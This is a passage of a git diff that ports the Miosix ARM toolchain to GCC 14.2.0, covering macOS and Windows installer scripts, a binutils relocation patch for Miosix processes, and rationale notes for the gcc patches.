+ + + + diff --git a/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Distribution_Intel.xml b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Distribution_Intel.xml new file mode 100644 index 000000000..e7fb6737e --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Distribution_Intel.xml @@ -0,0 +1,35 @@ + + + Miosix Toolchain for macOS (Intel) + + + + + + + + + + gcc.pkg + + + + + + + diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/license.txt b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Resources/license.txt similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/license.txt rename to tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Resources/license.txt diff --git a/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Resources/welcome.rtf b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Resources/welcome.rtf new file mode 100644 index 000000000..6d945d3b2 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Resources/welcome.rtf @@ -0,0 +1,39 @@ +{\rtf1\ansi\ansicpg1252\cocoartf2822 +\cocoatextscaling0\cocoaplatform0{\fonttbl\f0\fswiss\fcharset0 Helvetica-Bold;\f1\fswiss\fcharset0 Helvetica;\f2\fmodern\fcharset0 Courier; +\f3\fswiss\fcharset0 Helvetica-Oblique;} +{\colortbl;\red255\green255\blue255;} +{\*\expandedcolortbl;;} +{\*\listtable{\list\listtemplateid1\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace360\levelindent0{\*\levelmarker \{disc\}}{\leveltext\leveltemplateid1\'01\uc0\u8226 ;}{\levelnumbers;}\fi-360\li720\lin720 }{\listname ;}\listid1}} +{\*\listoverridetable{\listoverride\listid1\listoverridecount0\ls1}} +\paperw11900\paperh16840\margl1440\margr1440\vieww13100\viewh10880\viewkind0 +\pard\tx686\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\pardirnatural\partightenfactor0 + +\f0\b\fs28 \cf0 Miosix Toolchain for macOS\ + +\fs24 (GCC 14.2.0-mp4.0) +\f1\b0 \ +\ +This package will install the following components to the " +\f2 \\opt\\arm-miosix-eabi +\f1 " directory:\ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\li720\fi-720\pardirnatural\partightenfactor0 +\ls1\ilvl0\cf0 {\listtext \uc0\u8226 }GNU GCC with Miosix-specific patches\ +{\listtext \uc0\u8226 }GNU Binutils\ +{\listtext \uc0\u8226 }GNU GDB\ +{\listtext \uc0\u8226 }GNU Make\ +{\listtext \uc0\u8226 }Newlib\ +{\listtext \uc0\u8226 }lpc21isp\ +{\listtext \uc0\u8226 }mx-postlinker\ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\li720\fi-720\pardirnatural\partightenfactor0 +\cf0 \ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\pardirnatural\partightenfactor0 +\cf0 It will also update the current user's shell profile script in order to add " +\f2 \\opt\\arm-miosix-eabi\\bin +\f1 " to the PATH (only if the user's shell is +\f3\i bash +\f1\i0 , +\f3\i zsh +\f1\i0 or +\f3\i tcsh +\f1\i0 ).\ +} \ No newline at end of file diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/ScriptsTemplates/postinstall b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/ScriptsTemplates/postinstall old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/ScriptsTemplates/postinstall rename to tools/compiler/gcc-14.2.0-mp4.0/installers/macos/ScriptsTemplates/postinstall diff --git a/tools/compiler/gcc-14.2.0-mp4.0/installers/windows/MiosixInstaller.iss b/tools/compiler/gcc-14.2.0-mp4.0/installers/windows/MiosixInstaller.iss new file mode 100644 index 000000000..95aa0b4da --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/installers/windows/MiosixInstaller.iss @@ -0,0 +1,136 @@ + +#define MyAppName "Miosix Toolchain" +#define MyAppVersion "GCC 14.2.0mp4.0" +#define MyAppURL "https://miosix.org" +#define MyAppGUID "{{5270879A-9707-4BCB-930F-2FC7B5621061}" + +[Setup] +; NOTE: The value of AppId uniquely identifies this application. +; Do not use the same AppId value in installers for other applications. +AppId={#MyAppGUID} +AppName={#MyAppName} +AppVersion={#MyAppVersion} +AppPublisherURL={#MyAppURL} +AppSupportURL={#MyAppURL} +AppUpdatesURL={#MyAppURL} +DefaultDirName=C:\arm-miosix-eabi +; Forcefully install in this directory (GCC hates having spaces in the path) +DisableDirPage=yes +DefaultGroupName={#MyAppName} +; Allow user to disable adding stuff to the start menu +AllowNoIcons=yes +; Produce an installer named MiosixToolchainInstaller14.2.0mp4.0.exe +OutputBaseFilename=MiosixToolchainInstaller14.2.0mp4.0 +Compression=lzma +; Compress everything into one lzma stream +SolidCompression=yes +LicenseFile=license.txt +; The change in %PATH% takes effect after a restart +AlwaysRestart=yes + +[Languages] +Name: "english"; MessagesFile: "compiler:Default.isl" + +[Files] +; Source is where the InnoSetup compiler finds the directory to install +Source: "..\..\dist\opt\arm-miosix-eabi\*"; DestDir: "{app}"; Flags: ignoreversion recursesubdirs createallsubdirs +; NOTE: Don't use "Flags: ignoreversion" on any shared system files + +[Icons] +; Add stuff to the start menu +Name: "{group}\{cm:UninstallProgram,{#MyAppName}}"; Filename: "{uninstallexe}" + +; Add C:\arm-miosix-eabi to %PATH%, found on stackoverflow +; http://stackoverflow.com/questions/3304463/how-do-i-modify-the-path-environment-variable-when-running-an-inno-setup-install + +[Registry] +Root: HKLM; Subkey: "SYSTEM\CurrentControlSet\Control\Session Manager\Environment"; \ + ValueType: expandsz; ValueName: "Path"; ValueData: "{olddata};C:\arm-miosix-eabi\bin"; \ + Check: NeedsAddPath('C:\arm-miosix-eabi\bin') + +[Code] + +function NeedsAddPath(Param: string): boolean; +var + OrigPath: string; +begin + if not RegQueryStringValue(HKLM,'SYSTEM\CurrentControlSet\Control\Session Manager\Environment','Path', OrigPath) + then begin + Result := True; + exit; + end; + // look for the path with leading and trailing semicolon + Result := Pos(';' + UpperCase(Param) + ';', ';' + UpperCase(OrigPath) + ';') = 0; +end; + +// Make the installer uninstall the previous version +// http://stackoverflow.com/questions/2000296/innosetup-how-to-automatically-uninstall-previous-installed-version + +function FindUninstaller(): String; +var + UnistallerRegKey1: String; + UnistallerRegKey2: String; +begin + // The uninstaller path can be in four places, according to stackoverflow + UnistallerRegKey1 := ExpandConstant('Software\Microsoft\Windows\CurrentVersion\Uninstall\{#emit SetupSetting("AppId")}_is1'); + UnistallerRegKey2 := ExpandConstant('Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{#emit SetupSetting("AppId")}_is1'); + if RegQueryStringValue(HKLM, UnistallerRegKey1, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKCU, UnistallerRegKey1, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKLM, UnistallerRegKey2, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKCU, UnistallerRegKey2, 'UninstallString', Result) then + begin + Exit; + end; + Result := ''; +end; + +function InitializeSetup(): Boolean; +var + Uninstaller : String; + ResultCode: Integer; + i: Integer; +begin + // FileExists doesn't like quotes + Uninstaller := RemoveQuotes(FindUninstaller()); + Log('Uninstaller variable is set to "'+Uninstaller+'"'); + if not FileExists(Uninstaller) then + begin + Result := True; + Exit; + end; + if MsgBox('A previous version is already installed. Replace it?', mbInformation, MB_YESNO) <> IDYES then + begin + Result := False; + Exit; + end; + if Exec(Uninstaller, '/SILENT /NORESTART /SUPPRESSMSGBOXES','', SW_SHOW, ewWaitUntilTerminated, ResultCode) = False then + begin + MsgBox('Error: the uninstaller failed', mbError, MB_OK); + Result := False; + Exit; + end; + // Workaround for "the uninstaller returns before the uninstaller is deleted" + // http://stackoverflow.com/questions/18902060/disk-caching-issue-with-inno-setup + i := 0; + repeat + Sleep(500); + i := i + 1; + until not FileExists(Uninstaller) or (i >= 30); + if (i >= 30) then + begin + MsgBox('Error: the previous uninstaller was not deleted', mbError, MB_OK); + Result := False; + Exit; + end; + Log('Uninstaller completed'); + Result := True; +end; diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/windows/license.txt b/tools/compiler/gcc-14.2.0-mp4.0/installers/windows/license.txt similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/windows/license.txt rename to tools/compiler/gcc-14.2.0-mp4.0/installers/windows/license.txt diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/windows-installer/rm.c b/tools/compiler/gcc-14.2.0-mp4.0/installers/windows/rm.c similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/windows-installer/rm.c rename to tools/compiler/gcc-14.2.0-mp4.0/installers/windows/rm.c diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/lpc21isp_148_src.zip b/tools/compiler/gcc-14.2.0-mp4.0/lpc21isp_148_src.zip similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/lpc21isp_148_src.zip rename to tools/compiler/gcc-14.2.0-mp4.0/lpc21isp_148_src.zip diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/Makefile b/tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/Makefile similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/Makefile rename to tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/Makefile diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/elf_types.h b/tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/elf_types.h similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/elf_types.h rename to tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/elf_types.h diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/mx-postlinker/main.cpp b/tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/main.cpp similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/mx-postlinker/main.cpp rename to tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/main.cpp diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/postlinker.cpp b/tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/postlinker.cpp similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/postlinker.cpp rename to tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/postlinker.cpp diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/postlinker.h b/tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/postlinker.h similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/postlinker.h rename to tools/compiler/gcc-14.2.0-mp4.0/mx-postlinker/postlinker.h diff --git a/tools/compiler/gcc-14.2.0-mp4.0/patches/binutils.patch b/tools/compiler/gcc-14.2.0-mp4.0/patches/binutils.patch new file mode 100644 index 000000000..526c2a90d --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/patches/binutils.patch @@ -0,0 +1,130 @@ +diff -ruN binutils-2.44-old/bfd/elf32-arm.c binutils-2.44/bfd/elf32-arm.c +--- binutils-2.44-old/bfd/elf32-arm.c 2025-02-02 01:00:00 ++++ binutils-2.44/bfd/elf32-arm.c 2025-09-22 20:45:45 +@@ -1895,6 +1895,24 @@ + false), /* pcrel_offset */ + }; + ++static reloc_howto_type elf32_arm_howto_table_miosix[1] = ++{ ++/* 32 bit absolute */ ++ HOWTO (R_ARM_MIOSIXPROC_TGT2, /* type */ ++ 0, /* rightshift */ ++ 2, /* size (0 = byte, 1 = short, 2 = long) */ ++ 32, /* bitsize */ ++ false, /* pc_relative */ ++ 0, /* bitpos */ ++ complain_overflow_bitfield,/* complain_on_overflow */ ++ bfd_elf_generic_reloc, /* special_function */ ++ "R_ARM_MIOSIXPROC_TGT2",/* name */ ++ false, /* partial_inplace */ ++ 0xffffffff, /* src_mask */ ++ 0xffffffff, /* dst_mask */ ++ false), /* pcrel_offset */ ++}; ++ + /* 249-255 extended, currently unused, relocations: */ + static reloc_howto_type elf32_arm_howto_table_3[4] = + { +@@ -1965,6 +1983,10 @@ + && r_type < R_ARM_IRELATIVE + ARRAY_SIZE (elf32_arm_howto_table_2)) + return &elf32_arm_howto_table_2[r_type - R_ARM_IRELATIVE]; + ++ if (r_type >= R_ARM_MIOSIXPROC_TGT2 ++ && r_type < R_ARM_MIOSIXPROC_TGT2 + ARRAY_SIZE (elf32_arm_howto_table_miosix)) ++ return &elf32_arm_howto_table_miosix[r_type - R_ARM_MIOSIXPROC_TGT2]; ++ + if (r_type >= R_ARM_RREL32 + && r_type < R_ARM_RREL32 + ARRAY_SIZE (elf32_arm_howto_table_3)) + return &elf32_arm_howto_table_3[r_type - R_ARM_RREL32]; +@@ -9085,6 +9107,8 @@ + globals->target2_reloc = R_ARM_ABS32; + else if (strcmp (params->target2_type, "got-rel") == 0) + globals->target2_reloc = R_ARM_GOT_PREL; ++ else if (strcmp (params->target2_type, "mx-data-rel") == 0) //Miosix OS specific ++ globals->target2_reloc = R_ARM_MIOSIXPROC_TGT2; + else + { + _bfd_error_handler (_("invalid TARGET2 relocation type '%s'"), +@@ -10558,6 +10582,7 @@ + case R_ARM_XPC25: + case R_ARM_PREL31: + case R_ARM_PLT32: ++ case R_ARM_MIOSIXPROC_TGT2: + /* Handle relocations which should use the PLT entry. ABS32/REL32 + will use the symbol's value, which may point to a PLT entry, but we + don't need to handle that here. If we created a PLT entry, all +@@ -10605,7 +10630,8 @@ + && r_type != R_ARM_CALL + && r_type != R_ARM_JUMP24 + && r_type != R_ARM_PREL31 +- && r_type != R_ARM_PLT32) ++ && r_type != R_ARM_PLT32 ++ && r_type != R_ARM_MIOSIXPROC_TGT2) /* No run-time resolution needed */ + { + Elf_Internal_Rela outrel; + bool skip, relocate; +@@ -10876,6 +10902,33 @@ + + case R_ARM_ABS32: + value += addend; ++ if (branch_type == ST_BRANCH_TO_THUMB) ++ value |= 1; ++ break; ++ ++ /* ++ * R_ARM_MIOSIXPROC_TGT2 is used in Miosix processes to implement TARGET2 ++ * static relocations for C++ exception unwinding tables. ++ * In Miosix processes, pointers in exception unwinding tables are of the ++ * DW_EH_PE_datarel type as there's no fixed gap between .ARM.extab and ++ * .data sections. The unwinding code sums the base of the data segment to ++ * the statically relocated offset by calling _Unwind_GetDataRelBase. ++ * Since this is done in code, no run-time relocation should be output in ++ * the binary file against .ARM.extab which can be readonly. ++ * Apparently, all the required support was unimplemented in GCC and ++ * although binutils provided a command-line option to select how TARGET2 ++ * relocations should be treated, the available ones couldn't be made to ++ * work. Even more, although I tried to implement TARGET2 using existing ++ * relocations, I couldn't and I had to add a new one, R_ARM_MIOSIXPROC_TGT2 ++ * which is basically the same as R_ARM_ABS32, except that ++ * - no run-time relocation should be present ++ * - 0x4000000 (Miosix processes' DATA_BASE in the linker script) should be ++ * subtracted to encode only the data-relative offset ++ * ++ * See processes-patch.md in the Miosix kernel tree for the big picture. ++ */ ++ case R_ARM_MIOSIXPROC_TGT2: ++ value += addend - 0x40000000; /* subtract DATA_BASE */ + if (branch_type == ST_BRANCH_TO_THUMB) + value |= 1; + break; +diff -ruN binutils-2.44-old/include/elf/arm.h binutils-2.44/include/elf/arm.h +--- binutils-2.44-old/include/elf/arm.h 2025-02-02 01:00:00 ++++ binutils-2.44/include/elf/arm.h 2025-09-22 20:45:45 +@@ -258,6 +258,7 @@ + RELOC_NUMBER (R_ARM_TLS_GD32_FDPIC, 165) + RELOC_NUMBER (R_ARM_TLS_LDM32_FDPIC, 166) + RELOC_NUMBER (R_ARM_TLS_IE32_FDPIC, 167) ++ RELOC_NUMBER (R_ARM_MIOSIXPROC_TGT2, 248) /* data-relative TARGET2 in Miosix processes */ + + /* Extensions? R=read-only? */ + RELOC_NUMBER (R_ARM_RXPC25, 249) +diff -ruN binutils-2.44-old/zlib/zutil.h binutils-2.44/zlib/zutil.h +--- binutils-2.44-old/zlib/zutil.h 2025-02-02 01:00:00 ++++ binutils-2.44/zlib/zutil.h 2025-09-22 20:50:35 +@@ -139,15 +139,6 @@ + + #if defined(MACOS) || defined(TARGET_OS_MAC) + # define OS_CODE 7 +-# ifndef Z_SOLO +-# if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +-# include /* for fdopen */ +-# else +-# ifndef fdopen +-# define fdopen(fd,mode) NULL /* No fdopen() */ +-# endif +-# endif +-# endif + #endif + + #ifdef __acorn diff --git a/tools/compiler/gcc-14.2.0-mp4.0/patches/doc/gcc.txt b/tools/compiler/gcc-14.2.0-mp4.0/patches/doc/gcc.txt new file mode 100644 index 000000000..6ff16594a --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/patches/doc/gcc.txt @@ -0,0 +1,197 @@ +Rationale for gcc patch +----------------------- + +This patch does the following: + +1) It modifies the config/gthr.m4 and libgcc/configure files to add + gthr-miosix.h to the build system. + +2) It modifies gcc/config.gcc to add the miosix-eabi.h file and t-arm-miosix to + the build system. + +3) It modifies gcc/configure and gcc/configure.ac to accept the parameter + --enable-threads=miosix + +4) It adds gcc/config/arm/miosix-eabi.h which defines the builtin _MIOSIX and + the miosix patch version. + +5) It adds gcc/config/arm/t-arm-miosix to enable multilibs for + fpie/msingle-pic-base to implement processes. It also enables multilibs for + ARM architecture variants relevant for microcontrollers. + +6) Given that Miosix does not have a thread local storage API, but it is + required in a couple of places related to C++ exception handling + (that is, gcc/unwind-sjlj.c and libsupc++/eh_globals.cc), those files have + been modified removing functions to get/set the thread-local variables. + Those functions are now implemented within Miosix, in kernel/syscalls.cpp + +7) It adds the gcc/gthr-miosix.h specifying the miosix thread model, basically + telling the compiler that threadsafe code is required and pointing it to + the routines it needs to do so (standard posix routines). Without this + modification, arm-miosix-eabi-gcc -v would report "Thread model: single" + and generate thread unsafe code. + +8) The thread safe initialization of C++ static objects can be implemented + more efficiently using the Miosix API rather than the POSIX one, so the + functions __cxa_guard_[acquire|release|abort] have been removed from + libsupc++/guard.cc and implemented in miosix/kernel/syscalls.cpp + +9) It reduces the size of the emergency buffer in + libstdc++-v3/libsupc++/eh_alloc.cc, which is used for allocating the + std::bad_alloc exception that operator new should throw when the heap is + full. By default it is set to a conservative value that is too large when + compared with the RAM size of microcontrollers. + +10) It makes the verbose terminate handler a weak symbol to save code size. + +11) It adds __attribute__((weak)) to some functions that pull in exception + support to make them overridable by miosix when compiling without exceptions + to minimize code size. The only ones which are not made weak are: + - ios_failure: already large code size, so might as well not disable exceptions + - regex: same as above + - occurrences of _GLIBCXX_THROW_OR_ABORT in headers. Don't know how to fix + those, if they are ever used inside a .cc file within libstdc++ itself. + +12) It moves some functions from a .cc file within libstdc++ to the header file, + as when libstdc++ is compiled, exceptions are enabled. This code then pulls + in exception support (and its code size penalty) even when Miosix is built + with exceptions disabled. string, condition_variable and thread have + been patched to avoid this. For string, removing template instantiation + prevention code for basic_string was needed to generate non-exception code + that is preferentially linked instead of the one in libstdc++ forcedly + instantiated in libstdc++. + +NOTES +----- + +Atomicity of libstdc++ +---------------------- +from objdir/arm-miosix-eabi//libstdc++-v3/config.log + ARM CM0 CM3 CM4 CM7 +atomic builtins for bool - - Y Y Y +atomic builtins for short - - Y Y Y +atomic builtins for int - - Y Y Y +atomic builtins for long long - - - - - +lock policy for shared_ptr F F Y* Y* Y* +* configure:15883: result: atomic +Note that: +- atomic_store still uses mutex anyway, see bits/shared_ptr_atomic.h + +Autotools issue +--------------- +Some configure checks fail because in order to check for the presence of a +particular function, a sample C program is compiled AND LINKED. Now, the +GCC for miosix is meant to work if linked to libmiosix.a which isn't there yet, +so code depending on syscalls causes "undefined reference" link failures. +Do check the output of configure (configure.log) for check failures and +add stubs to newlib accordingly. +Note: look for configure.log in objdir/arm-miosix-eabi subdirectories, +which curently are libatomic, libgcc, libquadmath and libstdc++-v3. +The one that does more syscall-dependent configure checks is libstdc++ + +Checks +------ +thread_local is not supported, check that an example with thread_local produces +compile-time errors to avoid giving the false impression that it works. + +Types to watch out +------------------ +Some unexported types are copy-pasted in the kernel, and need to be kept consistent +struct __cxa_eh_globals in miosix/kercalls/libstdcpp_integration.h + + +Program to check how atomic ops are handled +------------------------------------------- +//test code -- begin +//libsupc++/eh_atomics.h is worth a look +#include +#include +#include +_Atomic_word theInt; +void inc() +{ + __atomic_add_fetch (&theInt, 1, __ATOMIC_ACQ_REL); +} +bool decTest() +{ + return __atomic_sub_fetch (&theInt, 1, __ATOMIC_ACQ_REL) == 0; +} +//arm-miosix-eabi-g++ -mthumb -mcpu=cortex-m3 -std=c++11 -O2 -S test.cpp +// _Z3incv: +// dmb ish +// ldr r3, .L4 +// .L2: +// ldrex r2, [r3] +// adds r2, r2, #1 +// strex r1, r2, [r3] +// cmp r1, #0 +// bne .L2 +// dmb ish +// bx lr +//arm-miosix-eabi-g++ -mthumb -mcpu=cortex-m0 -std=c++11 -O2 -S test.cpp +// _Z3incv: +// push {r4, lr} +// movs r2, #4 +// movs r1, #1 +// ldr r0, .L3 +// bl __atomic_fetch_add_4 +// pop {r4, pc} +//test code -- end + + +Calculations to minimize the emergency buffer for throwing std::bad_alloc. +-------------------------------------------------------------------------- +# Sample program to do the computation -- begin +//Requires to copy-paste unwind-cxx.h from libsupc++ +#include +#include +#include "unwind-cxx.h" +#include +int main() +{ + printf("sizeof(_Unwind_Exception) %d\n",sizeof(_Unwind_Exception)); + printf("sizeof(_Atomic_word) %d\n",sizeof(_Atomic_word)); + printf("sizeof(__cxa_exception) %d\n",sizeof(__cxxabiv1::__cxa_exception)); + printf("sizeof(__cxa_refcounted_exception) %d\n",sizeof(__cxxabiv1::__cxa_refcounted_exception)); + printf("sizeof(std::bad_alloc) %d\n",sizeof(std::bad_alloc)); + printf("sizeof(std::logic_error) %d\n",sizeof(std::logic_error)); + throw std::bad_alloc(); +} +# Sample program to do the computation -- end + +unwind-cxx.h declares __cxa_refcounted_exception, while unwind-arm-common.h +declares _Unwind_Exception. Size computations as of Sep 1, 2019. + +The size of __cxa_refcounted_exception on ARM is: +sizeof(_Unwind_Exception) 88 +sizeof(_Atomic_word) 4 +sizeof(__cxa_exception) 120 +sizeof(__cxa_refcounted_exception) 128 +sizeof(std::bad_alloc) 4 +sizeof(std::logic_error) 8 + +While on other archs is (commenting #ifdef __ARM_EABI_UNWINDER__ part in unwind-cxx.h) +sizeof(_Unwind_Exception) 88 +sizeof(_Atomic_word) 4 +sizeof(__cxa_exception) 136 +sizeof(__cxa_refcounted_exception) 144 +sizeof(std::bad_alloc) 4 +sizeof(std::logic_error) 8 + +Thus allocating bad_alloc takes 132Bytes on ARM, and 148Bytes on other archs. + +It is recomended to leave some space just in case a different exception is +thrown, like logic_error or runtime_error and there is no heap to allocate it. +By seeing stdexcept and stdexcept.cc these classes only contain a string object, +and sizeof(logic_error) returns 8 bytes (4=vptr 4=string). + +Note Jul 5, 2010. +A testcase started to fail, JTAG debugging found that a bad_alloc was allocated +that required 132Bytes. Expanding EMERGENCY_OBJ_SIZE to 160 bytes (128+32) to leave +some margin. +Note Sep 1, 2019. +Apparently, nothing changed in 9 years, as bad_alloc still requires 132Bytes. + +Conclusion: +Looks like EMERGENCY_OBJ_SIZE can be shrinked from 512 to 160bytes, for 32bit systems. +For EMRGENCY_OBJ_COUNT, 3 is good. diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc_multilib.md b/tools/compiler/gcc-14.2.0-mp4.0/patches/doc/gcc_multilib.md similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc_multilib.md rename to tools/compiler/gcc-14.2.0-mp4.0/patches/doc/gcc_multilib.md diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases-cpp.cpp b/tools/compiler/gcc-14.2.0-mp4.0/patches/doc/processes-patch-testcases-cpp.cpp similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases-cpp.cpp rename to tools/compiler/gcc-14.2.0-mp4.0/patches/doc/processes-patch-testcases-cpp.cpp diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases.c b/tools/compiler/gcc-14.2.0-mp4.0/patches/doc/processes-patch-testcases.c similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases.c rename to tools/compiler/gcc-14.2.0-mp4.0/patches/doc/processes-patch-testcases.c diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch.md b/tools/compiler/gcc-14.2.0-mp4.0/patches/doc/processes-patch.md similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch.md rename to tools/compiler/gcc-14.2.0-mp4.0/patches/doc/processes-patch.md diff --git a/tools/compiler/gcc-14.2.0-mp4.0/patches/gcc.patch b/tools/compiler/gcc-14.2.0-mp4.0/patches/gcc.patch new file mode 100644 index 000000000..7afa00a9d --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/patches/gcc.patch @@ -0,0 +1,1842 @@ +diff -ruN gcc-14.2.0-old/config/gthr.m4 gcc-14.2.0/config/gthr.m4 +--- gcc-14.2.0-old/config/gthr.m4 2024-08-01 10:17:13.000000000 +0200 ++++ gcc-14.2.0/config/gthr.m4 2025-11-02 17:03:47.712047752 +0100 +@@ -15,6 +15,7 @@ + dce) thread_header=config/pa/gthr-dce.h ;; + gcn) thread_header=config/gcn/gthr-gcn.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +diff -ruN gcc-14.2.0-old/gcc/config/arm/arm.cc gcc-14.2.0/gcc/config/arm/arm.cc +--- gcc-14.2.0-old/gcc/config/arm/arm.cc 2024-08-01 10:17:14.000000000 +0200 ++++ gcc-14.2.0/gcc/config/arm/arm.cc 2025-11-03 11:16:33.046767267 +0100 +@@ -75,10 +75,20 @@ + #include "opts.h" + #include "aarch-common.h" + #include "aarch-common-protos.h" ++#include "print-tree.h" ++#include + + /* This file should be included last. */ + #include "target-def.h" + ++/* ++ * https://gcc.gnu.org/legacy-ml/gcc/2017-05/msg00073.html ++ * Disable this warning at the compiler level, as Miosix skipped from GCC 4.7.3 ++ * to GCC 9.2.0, so there's no affected code around. ++ */ ++#undef warn_psabi /* in case it's already a macro */ ++#define warn_psabi 0 ++ + /* Forward definitions of types. */ + typedef struct minipool_node Mnode; + typedef struct minipool_fixup Mfix; +@@ -2849,8 +2859,33 @@ + } + } + +- if (TARGET_AAPCS_BASED) +- synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ // Rationale: ++ // Compiling code that instantiates C++ static objects on architectures that do ++ // not have memory fence/barrier instructions (e.g: ARM7TDMI) causes undefined ++ // reference to `__sync_synchronize'. ++ // expand_mem_thread_fence() in gcc/optabs.cc:7350 tries to emit ASM insn ++ // and failing that, emits the __sync_synchronize call if available. ++ // Synchronize_libfunc is used only in optabs.c and defined only for ARM/MIPS ++ // ++ // $ grep -Rn 'synchronize_libfunc' gcc-14.2.0 ++ // gcc/config/mips/mips.cc:13880: synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ // gcc/config/arm/arm.cc:2882: synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ // gcc/libfuncs.h:79:#define synchronize_libfunc (libfunc_table[LTI_synchronize]) ++ // gcc/optabs.cc:7361: else if (synchronize_libfunc != NULL_RTX) ++ // gcc/optabs.cc:7362: emit_library_call (synchronize_libfunc, LCT_NORMAL, VOIDmode); ++ // ++ // $ grep -Rn 'LTI_synchronize' gcc-14.2.0 ++ // gcc/libfuncs.h:29: LTI_synchronize, ++ // gcc/libfuncs.h:79:#define synchronize_libfunc (libfunc_table[LTI_synchronize]) ++ // ++ // The ARM implementation is in libgcc and only exists for linux and bsd. ++ // ++ // Solution: remove given ARM7TDMI don't need hardware memory barriers at all. ++ // ++ // When updating patches to new compiler, check that cortex-M targets have ++ // DMB instructions, while ARM7TDMI code has no calls to __sync_synchronize. ++ //if (TARGET_AAPCS_BASED) ++ // synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); + + speculation_barrier_libfunc = init_one_libfunc ("__speculation_barrier"); + } +@@ -8176,6 +8211,157 @@ + return emit_insn (pat); + } + ++// TODO: #ifdef _MIOSIX does not work in this context ++ ++// Taken from varasm.cc, it is static unfortunately, hence the copy-paste ++static bool ++contains_pointers_p (const_tree type) ++{ ++ switch (TREE_CODE (type)) ++ { ++ case POINTER_TYPE: ++ case REFERENCE_TYPE: ++ /* I'm not sure whether OFFSET_TYPE needs this treatment, ++ so I'll play safe and return 1. */ ++ case OFFSET_TYPE: ++ return true; ++ ++ case RECORD_TYPE: ++ case UNION_TYPE: ++ case QUAL_UNION_TYPE: ++ { ++ tree fields; ++ /* For a type that has fields, see if the fields have pointers. */ ++ for (fields = TYPE_FIELDS (type); fields; fields = DECL_CHAIN 